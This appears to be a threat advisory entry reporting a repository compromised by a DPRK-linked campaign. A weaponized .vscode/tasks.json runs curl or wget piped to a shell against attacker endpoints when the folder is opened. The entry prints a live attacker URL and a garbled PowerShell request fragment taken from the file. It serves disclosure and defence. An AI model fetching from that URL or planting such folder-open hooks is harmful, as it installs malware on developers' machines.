GCVE-110-OSM-2026-1860

Repository compromised by the PolinRider / TasksJacker DPRK threat actor (Lazarus, Contagious Interview cluster). A weaponized .vscode/tasks.json file was found at .vscode/tasks.json that executes 'curl | bash' or 'wget | sh' against an attacker-controlled Vercel/Render/Railway endpoint on VS Code folderOpen. This is the TasksJacker side of the PolinRider campaign — previously tracked separately, now operationally merged. The payload fetched from the C2 is the obfuscated PolinRider JavaScript loader that performs blockchain dead-drop C2 (TRON/Aptos/BSC) and XOR-decrypts a Beavertail second-stage loader. TasksJacker vscode/tasks.json payload found in: .vscode/tasks.json malicious URLs in tasks.json: https://stock-trading-backend.onrender.com/api/trading/auth/basic/login','http://127.0.0.1:8001/api/trading/auth/basic/login')) { try { $r = Invoke-WebRequest -Uri $u -Method Post -Body $payload -ContentType 'application/json' -TimeoutSec 40 -ErrorAction Stop; Write-Output ('LOGIN_CHECK ' + $u + ' => HTTP ' + [int]$r.StatusCode) } catch { if ($_.Exception.Response) { Write-Output ('LOGIN_CHECK ' + $u + ' => HTTP ' + [int]$_.Exception.Response.StatusCode.value__) } else { Write-Output ('LOGIN_CHECK ' + $u + ' => NO_RESPONSE') } } } Detected markers: vscode-tasks-curl-sh Behavior: runOn=folderOpen task executes curl/wget piped to shell against an attacker-controlled endpoint; fetched shell script bootstraps the PolinRider JS loader.